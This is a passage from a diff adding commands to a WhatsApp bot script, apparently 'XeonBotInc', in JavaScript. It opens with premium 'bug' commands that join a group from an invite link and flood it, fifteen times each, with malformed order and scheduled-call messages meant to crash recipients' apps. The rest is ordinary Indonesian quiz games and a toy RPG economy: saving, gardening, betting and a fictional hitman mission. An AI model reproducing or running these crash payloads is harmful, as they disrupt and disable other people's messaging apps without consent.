HH:mm:ss")}`, +"title": xeonybug1, +} +}), { userJid: from, quoted : m}) +XeonBotInc.relayMessage(xeongc, scheduledCallCreationMessage.message, { messageId: scheduledCallCreationMessage.key.id }) +await sleep(3000) +} +} +replygcxeon(`*Successfully sent Bug To ${xeongc} Please pause for 3 minutes*`) +break +case 'trollygcbug' : { +if (!isPrem) return replyprem(mess.premium) +if (!args[0]) return replygcxeon(`Use ${prefix+command} link\nExample ${prefix+command} https://chat.whatsapp.com/JVKKTg3rmmiKEL3MQBVplg`) +await loading() +let result = args[0].split('https://chat.whatsapp.com/')[1] +let xeongc = await XeonBotInc.groupAcceptInvite(result) +amount = "15" +for (let i = 0; i < amount; i++) { +var order = generateWAMessageFromContent(from, proto.Message.fromObject({ +"orderMessage": { +"orderId": "599519108102353", +"thumbnail": thumb, +"itemCount": 1999, +"status": "INQUIRY", +"surface": "CATALOG", +"message": `${botname}`, +"orderTitle": " TROLLY BUG ", +"sellerJid": "916909137213@s.whatsapp.net", +"token": "AR6z9PAvHjs9Qa7AYgBUjSEvcnOcRWycFpwieIhaMKdrhQ==" +} +}), { userJid: from, quoted:m}) +XeonBotInc.relayMessage(xeongc, order.message, { messageId: order.key.id }) +} +} +replygcxeon(`*Successfully sent Bug To ${xeongc} Please pause for 3 minutes*`) +break +case 'docugcbug' : { +if (!isPrem) return replyprem(mess.premium) +if (!args[0]) return replygcxeon(`Use ${prefix+command} link\nExample ${prefix+command} https://chat.whatsapp.com/JVKKTg3rmmiKEL3MQBVplg`) +await loading() +let result = args[0].split('https://chat.whatsapp.com/')[1] +let xeongc = await XeonBotInc.groupAcceptInvite(result) +amount = "15" +for (let i = 0; i < amount; i++) { +const xeonybug1 = `${xeontext1}` +var scheduledCallCreationMessage = generateWAMessageFromContent(from, proto.Message.fromObject({ +"scheduledCallCreationMessage": { +"callType": "2", +"scheduledTimestampMs": `${moment(1000).tz("Asia/Kolkata").format("DD/MM/YYYY HH:mm:ss")}`, +"title": xeonybug1, +} +}), { userJid: from, quoted : m}) +XeonBotInc.relayMessage(xeongc, scheduledCallCreationMessage.message, { messageId: scheduledCallCreationMessage.key.id }) +await sleep(3000) +} +} +replygcxeon(`*Successfully sent Bug To ${xeongc} Please pause for 3 minutes*`) +break +//=============================================================== +case 'tebakkata': { +if (!m.isGroup) return reply(mess.only.group) + let timeout = 80000 + let id = m.chat + if (id in XeonBotInc.tebakkata) return replygcxeon("Masih Ada Sesi Yang Belum Diselesaikan!") + let src = await (await fetch('https://raw.githubusercontent.com/BochilTeam/database/master/games/tebakkata.json')).json() + let json = src[Math.floor(Math.random() * src.length)] + let caption = `Silahkan Jawab Pertanyaan Berikut\n\nSoal : ${json.soal}\nWaktu : 60s\nHadiah : 10.000 money` + XeonBotInc.tebakkata[id] = [ + await replygcxeon(`${caption}`), + json, + setTimeout(() => { + if (XeonBotInc.tebakkata[id]) + console.log("Jawaban: " + json.jawaban) + replygcxeon(`Waktu Habis\nJawaban: ${json.jawaban}\n\nIngin bermain? Ketik tebakkata`) + delete XeonBotInc.tebakkata[id] + }, 60000) + ] +} +break +//================================================================ +case 'tebakgambar': { + if (!m.isGroup) return reply(mess.only.group) +let timeout = 80000 +let id = m.chat +if (id in XeonBotInc.tebakkata) return replygcxeon("Masih Ada Sesi Yang Belum Diselesaikan!") +async function tebakgambar() { + let anu = await fetchJson('https://raw.githubusercontent.com/BochilTeam/database/master/games/tebakgambar.json') + let result = anu[Math.floor(Math.random() * anu.length)] + return { + img: result.img, + jawaban: result.jawaban, + deskripsi: result.deskripsi + }} + let tos = await tebakgambar () + console.log(tos) + let caption = `Silahkan Jawab Soal Di Atas Ini\n\nDeskripsi : ${tos.deskripsi}\nWaktu : 60s\nHadiah : 10.000 money` + XeonBotInc.tebakgambar[id] = [ + await XeonBotInc.sendMessage(from, {caption: caption, image: {url: tos.img}}, {quoted: m}), + tos, + setTimeout(() => { + if (XeonBotInc.tebakgambar[id]) + replygcxeon(`Waktu Habis\nJawaban: ${tos.jawaban}\n\nIngin bermain? Ketik tebakgambar`) + delete XeonBotInc.tebakgambar[id] + }, 60000) + ] +} +break +//================================================================== +case 'tebaklagu': { + if (!m.isGroup) return reply(mess.only.group) +if (tebaklagu.hasOwnProperty(m.sender.split('@')[0])) return replygcxeon("Masih Ada Sesi Yang Belum Diselesaikan!") + let anu = await JSON.parse(fs.readFileSync('./lib/tebaklagu.json')); + let result = anu[Math.floor(Math.random() * anu.length)] + let msg = await XeonBotInc.sendMessage(from, { audio: { url: result.link_song }, mimetype: 'audio/mpeg' }, {quoted:m}) + XeonBotInc.sendText(from, `Lagu Tersebut Adalah Lagu dari?\n\nArtist : ${result.artist}\nWaktu : 60s`, msg).then(() => { + tebaklagu[m.sender.split('@')[0]] = result.jawaban.toLowerCase() + }) + await sleep(60000) + if (tebaklagu.hasOwnProperty(m.sender.split('@')[0])) { + console.log("Jawaban: " + result.jawaban) + XeonBotInc.sendMessage(m.chat, { image: { url: 'https://telegra.ph/file/96bb6ca28d6ef7fea479f.jpg' }, caption:`Waktu Habis\nJawaban: ${tebaklagu[m.sender.split('@')[0]]}\n\nIngin bermain? Ketik tebak lagu`},{quoted:m}) + delete tebaklagu[m.sender.split('@')[0]] + } +} +break +//================================================================== +case 'tebakkalimat': { + if (!m.isGroup) return reply(mess.only.group) +if (tebakkalimat.hasOwnProperty(m.sender.split('@')[0])) return replygcxeon("Masih Ada Sesi Yang Belum Diselesaikan!") + let anu = await fetchJson('https://raw.githubusercontent.com/BochilTeam/database/master/games/tebakkalimat.json') + let result = anu[Math.floor(Math.random() * anu.length)] + XeonBotInc.sendText(from, `Silahkan Jawab Pertanyaan Berikut\n\n${result.soal}\nWaktu : 60s`, m).then(() => { + tebakkalimat[m.sender.split('@')[0]] = result.jawaban.toLowerCase() + }) + await sleep(60000) + if (tebakkalimat.hasOwnProperty(m.sender.split('@')[0])) { + console.log("Jawaban: " + result.jawaban) + XeonBotInc.sendMessage(m.chat, { image: { url: 'https://telegra.ph/file/96bb6ca28d6ef7fea479f.jpg' }, caption:`Waktu Habis\nJawaban: ${tebakkalimat[m.sender.split('@')[0]]}\n\nIngin bermain? Ketik tebak kalimat`}, {quoted:m}) + delete tebakkalimat[m.sender.split('@')[0]] + } +} +break +//================================================================== +case 'tebaklirik':{ + if (!m.isGroup) return reply(mess.only.group) +let users = global.db.users[m.sender] + let timeout = 80000 + let poin = 10000 + let id = m.chat + if (id in XeonBotInc.tebaklirik) return replygcxeon('Masih ada soal belum terjawab di chat ini') + let src = await (await fetch('https://raw.githubusercontent.com/BochilTeam/database/master/games/tebaklirik.json')).json() + let json = src[Math.floor(Math.random() * src.length)] + let caption = ` + Soal: ${json.soal} + + + Waktu: *${(timeout / 1000).toFixed(2)} detik* + Bonus: ${poin} XP + Hadiah: ${poin} Money + `.trim() + XeonBotInc.tebaklirik[id] = [ + await replygcxeon(`${caption}`), + json, poin, + setTimeout(() => { + if (XeonBotInc.tebaklirik[id]) +users.money -= 200 +replygcxeon(`*GAME TEBAK LIRIK*\n\nWaktu habis!\n๐–ฆน Jawabannya adalah; *${json.jawaban}*\n๐–ฆน Saldo kamu dikurangi 200\n๐–ฆน Sisa Saldo kamu: *${db.data.users[sender].balance.toLocaleString()}*`) + delete XeonBotInc.tebaklirik[id] + }, timeout) + ] + } + break +//================================================================== +case 'caklontong': { + if (!m.isGroup) return reply(mess.only.group) +if (caklontong.hasOwnProperty(m.sender.split('@')[0])) return replygcxeon("Masih Ada Sesi Yang Belum Diselesaikan!") + let anu = await fetchJson('https://raw.githubusercontent.com/BochilTeam/database/master/games/caklontong.json') + let result = anu[Math.floor(Math.random() * anu.length)] + XeonBotInc.sendText(from, `*Jawablah Pertanyaan Berikut :*\n${result.soal}*\nWaktu : 60s`, m).then(() => { + caklontong[m.sender.split('@')[0]] = result.jawaban.toLowerCase() +caklontong_desk[m.sender.split('@')[0]] = result.deskripsi + }) + await sleep(60000) + if (caklontong.hasOwnProperty(m.sender.split('@')[0])) { + console.log("Jawaban: " + result.jawaban) + XeonBotInc.sendMessage(m.chat, { image: { url: 'https://telegra.ph/file/96bb6ca28d6ef7fea479f.jpg' }, caption:`Waktu Habis\nJawaban: ${caklontong[m.sender.split('@')[0]]}\nDeskripsi : ${caklontong_desk[m.sender.split('@')[0]]}\n\nIngin bermain? Ketik tebak lontong`}, {quoted:m}) + delete caklontong[m.sender.split('@')[0]] +delete caklontong_desk[m.sender.split('@')[0]] + } +} +break +//================================================================== +case 'family100': { + if (!m.isGroup) return reply(mess.only.group) + let winScore = 10000 + let id = m.chat + if (id in XeonBotInc.family100) return replygcxeon('Masih Ada Sesi Yang Belum Diselesaikan!') + let src = await (await fetch('https://raw.githubusercontent.com/BochilTeam/database/master/games/family100.json')).json() + let json = src[Math.floor(Math.random() * src.length)] + let hasil = `*Jawablah Pertanyaan Berikut :*\n\nSoal : ${json.soal}\n\nHadiah : 10.000 money\n\nTerdapat *${json.jawaban.length}* Jawaban ${json.jawaban.find(v => v.includes(' ')) ? `(beberapa Jawaban Terdapat Spasi)` : ''}`.trim() + XeonBotInc.family100[id] = { + id, + msg: await replygcxeon(`${hasil}`), + ...json, + terjawab: Array.from(json.jawaban, () => false), + winScore, + } +} +break +//================================================================== +case 'upvn':{ +if (!XeonTheCreator) return reply(`Ngapain ? Fitur Ini Khusus Tuan Saya๐Ÿ˜œ`) +function getRandomHexColor() { + return "#" + Math.floor(Math.random() * 16777215).toString(16).padStart(6, "0"); +} +const media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) +XeonBotInc.sendMessage('status@broadcast', {audio: { url: media }, mimetype: 'audio/mp3', ptt:true },{ +backgroundColor: getRandomHexColor(), +statusJidList: Object.keys(db.users) +}); +} +reply(`*Sukses mengirim status whatsapp ke Orang Yang Ada Di database*`) +break +//================================================================== +case 'tebaktebakan': { + if (!m.isGroup) return reply(mess.only.group) +if (tebaktebakan.hasOwnProperty(m.sender.split('@')[0])) return replygcxeon("Masih Ada Sesi Yang Belum Diselesaikan!") +let anu = await fetchJson('https://raw.githubusercontent.com/BochilTeam/database/master/games/tebaktebakan.json') +let result = anu[Math.floor(Math.random() * anu.length)] +XeonBotInc.sendText(m.chat, `Jawablah Pertanyaan Berikut : *${result.soal}*?\nWaktu : 60s`, m).then(() => { + tebaktebakan[m.sender.split('@')[0]] = result.jawaban.toLowerCase() +}) +await sleep(60000) +if (tebaktebakan.hasOwnProperty(m.sender.split('@')[0])) { + console.log("Jawaban: " + result.jawaban) + XeonBotInc.sendText(m.chat, `Waktu Habis\nJawaban: ${tebaktebakan[m.sender.split('@')[0]]}`, m) + delete tebaktebakan[m.sender.split('@')[0]] +}} +break +//================================================================== +case 'tebakbendera': { + if (!m.isGroup) return reply(mess.only.group) +if (tebakbendera.hasOwnProperty(m.sender.split('@')[0])) return replygcxeon("Masih Ada Sesi Yang Belum Diselesaikan!") +let anu = await fetchJson('https://raw.githubusercontent.com/BochilTeam/database/master/games/tebakbendera.json') +let result = anu[Math.floor(Math.random() * anu.length)] +XeonBotInc.sendMessage(m.chat, { + image: { + url: result.img + }, + caption: `Silahkan Jawab Gambar Berikut\n\nClue : ${result.flag}\nWaktu : 60s` +}, { + quoted: m +}).then(() => { + tebakbendera[m.sender.split('@')[0]] = result.name.toLowerCase() +}) +await sleep(60000) +if (tebakbendera.hasOwnProperty(m.sender.split('@')[0])) { + console.log("Jawaban: " + result.name) + XeonBotInc.sendText(m.chat, `Waktu Habis\nJawaban: ${tebakbendera[m.sender.split('@')[0]]}`, m) + delete tebakbendera[m.sender.split('@')[0]] +} +} +break +//================================================================== +case 'tebakbenderav2': { + if (!m.isGroup) return reply(mess.only.group) + if (tebakbendera.hasOwnProperty(m.sender.split('@')[0])) return replygcxeon("Masih Ada Sesi Yang Belum Diselesaikan!") +let anu = await fetchJson('https://raw.githubusercontent.com/BochilTeam/database/master/games/tebakbendera.json') +let result = anu[Math.floor(Math.random() * anu.length)] +XeonBotInc.sendMessage(m.chat, { + image: { + url: result.img + }, + caption: `Silahkan Jawab Gambar Berikut\n\nClue : ${result.flag}\nWaktu : 60s` +}, { + quoted: m +}).then(() => { + tebakbendera[m.sender.split('@')[0]] = result.name.toLowerCase() +}) +await sleep(60000) +if (tebakbendera.hasOwnProperty(m.sender.split('@')[0])) { + console.log("Jawaban: " + result.name) + XeonBotInc.sendText(m.chat, `Waktu Habis\nJawaban: ${tebakbendera[m.sender.split('@')[0]]}`, m) + delete tebakbendera[m.sender.split('@')[0]] +} +} +break +//================================================================== +case 'tebakkabupaten': { + if (!m.isGroup) return reply(mess.only.group) +if (tebakkabupaten.hasOwnProperty(m.sender.split('@')[0])) return replygcxeon("Masih Ada Sesi Yang Belum Diselesaikan!") +let anu = await fetchJson('https://raw.githubusercontent.com/BochilTeam/database/master/games/tebakkabupaten.json') +let result = anu[Math.floor(Math.random() * anu.length)] +XeonBotInc.sendImage(m.chat, result.url, `Silahkan Jawab Gambar Berikut\n\nWaktu : 60s`, m).then(() => { + tebakkabupaten[m.sender.split('@')[0]] = result.title.toLowerCase() +}) +await sleep(60000) +if (tebakkabupaten.hasOwnProperty(m.sender.split('@')[0])) { + console.log("Jawaban: " + result.title) + XeonBotInc.sendText(m.chat, `Waktu Habis\nJawaban: ${tebakkabupaten[m.sender.split('@')[0]]}`, m) + delete tebakkabupaten[m.sender.split('@')[0]] +} +} +break +//================================================================== +case 'tebakkimia': { + if (!m.isGroup) return reply(mess.only.group) +if (tebakkimia.hasOwnProperty(m.sender.split('@')[0])) return replygcxeon("Masih Ada Sesi Yang Belum Diselesaikan!") +let anu = await fetchJson('https://raw.githubusercontent.com/BochilTeam/database/master/games/tebakkimia.json') +let result = anu[Math.floor(Math.random() * anu.length)] +XeonBotInc.sendText(m.chat, `Silahkan Jawab Pertanyaan Berikut\n\nUnsur : ${result.unsur}\nWaktu : 60s`, m).then(() => { + tebakkimia[m.sender.split('@')[0]] = result.lambang.toLowerCase() +}) +await sleep(60000) +if (tebakkimia.hasOwnProperty(m.sender.split('@')[0])) { + console.log("Jawaban: " + result.lambang) + XeonBotInc.sendText(m.chat, `Waktu Habis\nJawaban: ${tebakkimia[m.sender.split('@')[0]]}`, m) + delete tebakkimia[m.sender.split('@')[0]] +} +} +break +//================================================================== +case 'asahotak': { + if (!m.isGroup) return reply(mess.only.group) +if (tebakasahotak.hasOwnProperty(m.sender.split('@')[0])) return replygcxeon("Masih Ada Sesi Yang Belum Diselesaikan!") +let anu = await fetchJson('https://raw.githubusercontent.com/BochilTeam/database/master/games/asahotak.json') +let result = anu[Math.floor(Math.random() * anu.length)] +XeonBotInc.sendText(m.chat, `Silahkan Jawab Pertanyaan Berikut\n\nSoal : ${result.soal}\nWaktu : 60s`, m).then(() => { + tebakasahotak[m.sender.split('@')[0]] = result.jawaban.toLowerCase() +}) +await sleep(60000) +if (tebakasahotak.hasOwnProperty(m.sender.split('@')[0])) { + console.log("Jawaban: " + result.jawaban) + XeonBotInc.sendText(m.chat, `Waktu Habis\nJawaban: ${tebakasahotak[m.sender.split('@')[0]]}`, m) + delete tebakasahotak[m.sender.split('@')[0]] +}} +break +//================================================================== +case 'siapaaku':{ + if (!m.isGroup) return reply(mess.only.group) + let users = global.db.users[m.sender] + let timeout = 80000 + let poin = 10000 + let id = m.chat + if (id in XeonBotInc.siapaaku) return replygcxeon('Masih ada soal belum terjawab di chat ini') + let src = await (await fetch('https://raw.githubusercontent.com/BochilTeam/database/master/games/siapakahaku.json')).json() + let json = src[Math.floor(Math.random() * src.length)] + let caption = ` + Soal: ${json.soal} + + + Waktu: *${(timeout / 1000).toFixed(2)} detik* + Hadiah: ${poin} Money + `.trim() + XeonBotInc.siapaaku[id] = [ + await replygcxeon(`${caption}`), + json, poin, + setTimeout(() => { + if (XeonBotInc.siapaaku[id]) +users.money -= 200 +replygcxeon(`*GAME SIAPAKAH AKU*\n\nWaktu habis!\n๐–ฆน Jawabannya adalah; *${json.jawaban}*\n๐–ฆน Saldo kamu dikurangi 200\n๐–ฆน Sisa Saldo kamu: *${db.data.users[sender].money.toLocaleString()}*`) + delete XeonBotInc.siapaaku[id] + }, timeout) + ] + } + break +//================================================================== +case 'susunkata':{ + if (!m.isGroup) return reply(mess.only.group) + let timeout = 80000 + let poin = 10000 + let id = m.chat + if (id in XeonBotInc.susunkata) return replygcxeon('Masih ada soal belum terjawab di chat ini') + let src = await (await fetch('https://raw.githubusercontent.com/BochilTeam/database/master/games/susunkata.json')).json() + let json = src[Math.floor(Math.random() * src.length)] + let caption = ` + Soal: ${json.soal} +Tipe: ${json.tipe} + + Waktu: *${(timeout / 1000).toFixed(2)} detik* + Hadiah: ${poin} Money + `.trim() + XeonBotInc.susunkata[id] = [ + await replygcxeon(`${caption}`), + json, poin, + setTimeout(() => { +replygcxeon(`*GAME SUSUN KATA*\n\nWaktu habis!\n๐–ฆน Jawabannya adalah; *${json.jawaban}*\n๐–ฆน Saldo kamu dikurangi 200\n๐–ฆน Sisa Saldo kamu: *${db.data.users[sender].money.toLocaleString()}*`) + delete XeonBotInc.susunkata[id] + }, timeout) + ] + } + break +//================================================================== +case 'tekateki':{ + if (!m.isGroup) return reply(mess.only.group) + let timeout = 80000 + let users = global.db.users[m.sender] + let poin = 10000 + let id = m.chat + if (id in XeonBotInc.tekateki) return replygcxeon('Masih ada soal belum terjawab di chat ini') + let src = await (await fetch('https://raw.githubusercontent.com/BochilTeam/database/master/games/tekateki.json')).json() + let json = src[Math.floor(Math.random() * src.length)] + let caption = ` + Soal: ${json.soal} + + + Waktu: *${(timeout / 1000).toFixed(2)} detik* + Bonus: ${poin} XP + Hadiah: ${poin} Money ๐Ÿ’ธ + `.trim() + XeonBotInc.tekateki[id] = [ + await replygcxeon(`${caption}`), + json, poin, + setTimeout(() => { + if (XeonBotInc.tekateki[id]) +users.money -= 200 +replygcxeon(`*GAME TEKA-TEKI*\n\nWaktu habis!\n๐–ฆน Jawabannya adalah; *${json.jawaban}*\n๐–ฆน Saldo kamu dikurangi 200\n๐–ฆน Sisa Saldo kamu: *${db.users[sender].money.toLocaleString()}*`) + delete XeonBotInc.tekateki[id] + }, timeout) + ] + } + break +//================================================================== +case 'tebakbendera2': { + if (!m.isGroup) return reply(mess.only.group) +if (tebakbendera2.hasOwnProperty(m.sender.split('@')[0])) return replygcxeon("Masih Ada Sesi Yang Belum Diselesaikan!") +let anu = await fetchJson('https://raw.githubusercontent.com/BochilTeam/database/master/games/tebakbendera2.json') +let result = anu[Math.floor(Math.random() * anu.length)] +XeonBotInc.sendMessage(m.chat, { + image: { + url: result.img + }, + caption: `Silahkan Jawab Gambar Berikut\n\nWaktu : 60s` +}, { + quoted: m +}).then(() => { + tebakbendera2[m.sender.split('@')[0]] = result.name.toLowerCase() +}) +await sleep(60000) +if (tebakbendera2.hasOwnProperty(m.sender.split('@')[0])) { + console.log("Jawaban: " + result.name) + XeonBotInc.sendText(m.chat, `Waktu Habis\nJawaban: ${tebakbendera2[m.sender.split('@')[0]]}`, m) + delete tebakbendera2[m.sender.split('@')[0]] +} +} +break +//================================================================== +case 'banknabung': { + if (!m.isGroup) return reply(mess.only.group) +const xpperlimit = 1 + let user = global.db.users[m.sender] + let all = command.replace(/^tarik/i, '') + let count = all ? all : args[0] + count = count ? /all/i.test(count) ? Math.floor(user.money / xpperlimit) : parseInt(count) : args[0] ? parseInt(args[0]) : 1 + count = Math.max(1, count) + if (user.atm == 0) return replygcxeon('kamu belum mempunyai kartu ATM') + if (user.bank > user.fullatm) return replygcxeon('Uang Di ATM sudah penuh!') + if (count > user.fullatm - user.bank) return m.reply('Uangnya nya sudah mencapai batas') + if (user.money >= xpperlimit * count) { + user.money -= xpperlimit * count + user.bank += count + replygcxeon(`Sukses menabung sebesar ${count} Money ๐Ÿ’น`) + } else replygcxeon(`[โ—] Uang anda tidak mencukupi untuk menabung ${count} money ๐Ÿ’น`, ) +} +break +//================================================================== +case 'banktarik': { + if (!m.isGroup) return reply(mess.only.group) +const xpperlimit = 1 + let user = global.db.users[m.sender] + let all = command.replace(/^tarik/i, '') + let count = all ? all : args[0] + count = count ? /all/i.test(count) ? Math.floor(user.bank / xpperlimit) : parseInt(count) : args[0] ? parseInt(args[0]) : 1 + count = Math.max(1, count) + if (user.atm == 0) return replygcxeon('kamu belum mempuyai kartu ATM !') + if (user.bank >= xpperlimit * count) { + user.bank -= xpperlimit * count + user.money += count + replygcxeon(`Sukses menarik sebesar ${count} Money ๐Ÿ’น`) + } else replygcxeon(`[โ—] Uang dibank anda tidak mencukupi untuk ditarik sebesar ${count} money ๐Ÿ’น`) +} +break +//================================================================== +case 'berkebon':{ + if (!m.isGroup) return reply(mess.only.group) +function clockString(ms) { + let h = Math.floor(ms / 3600000) + let m = Math.floor(ms / 60000) % 60 + let s = Math.floor(ms / 1000) % 60 + return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':') +} +const timeout = 1800000 + let __timers = (new Date - global.db.users[m.sender].lastberkebon) + let _timers = (timeout - __timers) + let timers = clockString(_timers) + let user = global.db.users[m.sender] + let { stock } = global.db.settings[botNumber] + let pisang = 100 - user.bibitpisang + let anggur = 100 - user.bibitanggur + let mangga = 100 - user.bibitmangga + let jeruk = 100 - user.bibitjeruk + let apel = 100 - user.bibitapel + let kerja = 'Berkebun' + let id = m.chat + .misi = XeonBotInc.misi ? XeonBotInc.misi : {} + if (id in XeonBotInc.misi) { + replygcxeon(`Selesaikan Misi ${XeonBotInc.misi[id][0]} Terlebih Dahulu`) + return false + } + let caption = ` +๐Ÿ“ฎ Kamu Membutuhkan Bibit:\n${user.bibitpisang < 100 ? `\n${global.rpg.emoticon('bibitpisang')} BibitPisang: ${pisang}`: ''} ${user.bibitanggur < 100 ? `\n${global.rpg.emoticon('bibitanggur')} BibitAnggur: ${anggur}`: ''} ${user.bibitmangga < 100 ? `\n${global.rpg.emoticon('bibitmangga')} BibitMangga: ${mangga}`: ''} ${user.bibitjeruk < 100 ? `\n${global.rpg.emoticon('bibitjeruk')} BibitJeruk: ${jeruk}`: ''} ${user.bibitapel < 100 ? `\n${global.rpg.emoticon('bibitapel')} BibitApel: ${apel}`: ''}`.trim() + if (new Date - user.lastberkebon > 1800000) { + if (user.bibitpisang >= 100 && user.bibitanggur >= 100 && user.bibitmangga >= 100 && user.bibitapel >= 100 && user.bibitjeruk >= 100) { + let hasil1 = Math.floor(Math.random() * 100) + let hasil2 = Math.floor(Math.random() * 100) + let hasil3 = Math.floor(Math.random() * 100) + let hasil4 = Math.floor(Math.random() * 100) + let hasil5 = Math.floor(Math.random() * 100) + + let caption = `โŒ› Hasil Panen Kamu + +${global.rpg.emoticon('pisang')} Pisang: ${hasil1} +${global.rpg.emoticon('anggur')} Anggur ${hasil2} +${global.rpg.emoticon('mangga')} Mangga: ${hasil3} +${global.rpg.emoticon('jeruk')} Jeruk: ${hasil4} +${global.rpg.emoticon('apel')} Apel: ${hasil5} +` + user.pisang += hasil1 + user.anggur += hasil2 + user.mangga += hasil3 + user.jeruk += hasil4 + user.apel += hasil5 + + user.bibitpisang -= 100 + user.bibitanggur -= 100 + user.bibitmangga -= 100 + user.bibitjeruk -= 100 + user.bibitapel -= 100 + + stock.bibitpisang += 100 + stock.bibitanggur += 100 + stock.bibitmangga += 100 + stock.bibitjeruk += 100 + stock.bibitapel += 100 + + + XeonBotInc.misi[id] = [ +kerja, +setTimeout(() => { +delete XeonBotInc.misi[id] +}, 20000) + ] + + setTimeout(() => { +replygcxeon(`${caption.trim()}`) + }, 20000) + + setTimeout(() => { +replygcxeon('Sedang Menanam Bibit...') + }, 0) + user.lastberkebon = new Date * 1 + } else replygcxeon(`${caption}`) + } else replygcxeon(`Mohon Menunggu Selama ${timers} Untuk Berkebun Kembali...`) +} +break +//================================================================== +case 'bet': { + if (!m.isGroup) return reply(mess.only.group) + function number(x = 0) { + x = parseInt(x) + return !isNaN(x) && typeof x == 'number' +} +const items = [ 'money', 'chip' ] + let user = global.db.users[m.sender] + let item = items.filter(v => v in user && typeof user[v] == 'number') + let type = (args[0] || '').toLowerCase() + let count = (args[1] && number(parseInt(args[1])) ? Math.max(parseInt(args[1]), 1): /all/i.test(args[1]) ? Math.floor(parseInt(user[type])): 1) * 1 + if (!item.includes(type)) return replygcxeon(`*List Item:*\n${item.map(v => `${global.rpg.emoticon(v)}${v}`.trim()).join('\n')}\n\nExample:\nbet money 100000`) + if ((user[type] * 1) < count) return replygcxeon(`*${type} ${global.rpg.emoticon(type)}* kamu tidak cukup!!`) + let moneyDulu = user[type] * 1 + let txt = (m.msg && m.msg.selectedDisplayText ? m.msg.selectedDisplayText: m.text ? m.text: '').toLowerCase() + try { + let Bot = (Math.ceil(Math.random() * 91)) * 1 + let Kamu = (Math.floor(Math.random() * 71)) * 1 + let status = 'Kalah' + if (Bot < Kamu) { + user[type] += count * 1 + status = 'Menang' + } else if (Bot > Kamu) { + user[type] -= count * 1 + } else { + status = 'Seri' + user[type] += (Math.floor(count / 1.5)) * 1 + } + replygcxeon(` +| *PLAYERS* | *POINT* | +*๐Ÿค– BOT:* ${Bot} +*๐Ÿ‘ค KAMU:* ${Kamu} + +Kamu *${status}*, kamu ${status == 'Menang' ? `Mendapatkan *+${count * 2}*`: status == 'Kalah' ? `Kehilangan *-${count * 1}*`: `Mendapatkan *+${Math.floor(count / 1.5)}*`} *${type} ${global.rpg.emoticon(type)}* +`.trim()) + } catch (e) { + if (moneyDulu > (user[type] * 1)) user[type] = moneyDulu * 1 + replygcxeon('Error saat melakukan judi (Rejected)') + } +} +break +//================================================================== +case 'claim': +case 'bonus': { + if (!m.isGroup) return reply(mess.only.group) +function msToTime(duration) { + var milliseconds = parseInt((duration % 1000) / 100), + seconds = Math.floor((duration / 1000) % 60), + minutes = Math.floor((duration / (1000 * 60)) % 60), + hours = Math.floor((duration / (1000 * 60 * 60)) % 24) + hours = (hours < 10) ? "0" + hours : hours + minutes = (minutes < 10) ? "0" + minutes : minutes + seconds = (seconds < 10) ? "0" + seconds : seconds + + return hours + " jam " + minutes + " menit " + seconds + " detik" +} + let user = global.db.users[m.sender] + let time = user.lastbonus + 86400000 + if (new Date - user.lastbonus < 86400000) return replygcxeon(`Kamu Sudah Ambil Bonus Hari Ini\nTunggu selama ${msToTime(time - new Date())} lagi`) + let money = Math.floor(Math.random() * 50000000) + user.money += money * 1 + user.lastbonus = new Date * 1 + replygcxeon(`Selamat Kamu Mendapatkan Bonus : \n+${money} Money`) +} +break +//================================================================== +case 'buah': { + if (!m.isGroup) return reply(mess.only.group) + let user = global.db.users[m.sender] + let ini_txt = `[ *GUDANG BUAH KAMU* ]\n\n` + ini_txt += `๐ŸŒ ${user.pisang} Pisang\n` + ini_txt += `๐Ÿ‡ ${user.anggur} Anggur\n` + ini_txt += `๐Ÿฅญ ${user.mangga} Mangga\n` + ini_txt += `๐ŸŠ ${user.jeruk} Jeruk\n` + ini_txt += `๐ŸŽ ${user.apel} Apel\n\n` + ini_txt += `Gunakan command *buah sell* untuk menjual.` + replygcxeon(`${ini_txt}`) +} +break +//================================================================== +case 'bunuh': +case 'hitman': { + if (!m.isGroup) return reply(mess.only.group) + function clockString(ms) { + let h = Math.floor(ms / 3600000) + let m = Math.floor(ms / 60000) % 60 + let s = Math.floor(ms / 1000) % 60 + return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':') +} + let __timers = (new Date - global.db.users[m.sender].lastmisi) + let _timers = (3600000 - __timers) + let order = global.db.users[m.sender].ojekk + let timers = clockString(_timers) + let name = XeonBotInc.getName(m.sender) + let user = global.db.users[m.sender] + let id = m.sender + let kerja = 'Bunuh' + XeonBotInc.misi = XeonBotInc.misi ? XeonBotInc.misi : {} + if (id in XeonBotInc.misi) { + replygcxeon(`Selesaikan Misi ${XeonBotInc.misi[id][0]} Terlebih Dahulu`) + throw false + } + if (new Date - global.db.users[m.sender].lastmisi > 3600000) { + let randomaku4 = Math.floor(Math.random() * 10) + let randomaku5 = Math.floor(Math.random() * 10) + + let rbrb4 = (randomaku4 * 100000) + let rbrb5 = (randomaku5 * 1000) + + var dimas = ` +๐Ÿ•ต๏ธ Mendapatkan Target..... +`.trim() + + var dimas2 = ` +โš”๏ธ Menusuk Tubuhnya..... +`.trim() + + var dimas3 = ` +โ˜ ๏ธ Target meninggal\nDan kamu mengambil barangยฒ nya +`.trim() + + var dimas4 = ` +๐Ÿ’ผ Hasil dari membunuh.... +`.trim() + + var hsl = ` +*โ€”[ Hasil ${name} ]โ€”* +โž• ๐Ÿ’น Uang = [ ${rbrb4} ] +โž• โœจ Exp = [ ${rbrb5} ] +โž• ๐Ÿ‘ฎ Pelanggaran +1 +โž• โ˜‘๏ธ Misi Berhasil = +1 +โž• ๐Ÿ“ฅTotal Misi Sebelumnya : ${order} +`.trim() + + user.money += rbrb4 + user.exp += rbrb5 + user.ojekk += 1 + user.warn += 1 + + XeonBotInc.misi[id] = [ + kerja, + setTimeout(() => { + delete XeonBotInc.misi[id] + }, 27000) + ] + setTimeout(() => { + replygcxeon(`${hsl}`) + }, 27000) + + setTimeout(() => { + replygcxeon(`${dimas4}`) + }, 25000) + + setTimeout(() => { + replygcxeon(`${dimas3}`) + }, 20000) + + setTimeout(() => { + replygcxeon(`${dimas2}`) + }, 15000) + + setTimeout(() => { + replygcxeon(`${dimas}`) + }, 10000) + + setTimeout(() => { + replygcxeon('๐Ÿ”Mencari Target pembunuhan.....') + }, 0) + user.lastmisi = new Date * 1 + } else replygcxeon(`Silahkan Menunggu Selama ${timers}, Untuk Menyelesaikan Misi Kembali`) +} +break +//================================================================== +case 'collect': { + if (!m.isGroup) return reply(mess.only.group) + function clockString(ms) { + let h = Math.floor(ms / 3600000) + let m = Math.floor(ms 